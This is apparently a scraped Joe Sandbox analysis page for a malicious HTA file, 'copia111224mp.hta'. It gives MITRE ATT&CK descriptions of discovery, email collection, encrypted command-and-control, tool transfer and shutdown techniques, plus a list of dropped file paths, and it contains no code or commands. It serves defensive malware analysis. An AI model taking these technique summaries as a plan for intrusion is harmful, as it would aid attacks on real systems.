Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report copia111224mp.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Privilege Escalation

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__nczuwk7_Hi7.exe_ccc345aab11f53b802a47afde85de017385d7c_0829a100_de7c1d83-c4b4-4895-bde0-d778262481e7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__nczuwk7_Hi7.exe_ccc345aab11f53b802a47afde85de017385d7c_0829a100_ed7bb5d9-c13c-4142-9416-f2193754a4e9\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C73.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D2F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D4F.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D6D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DDB.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DFB.tmp.xml

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMDATA64.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\outlook.exe_Rules.xml

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Windows Analysis Report
copia111224mp.hta

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre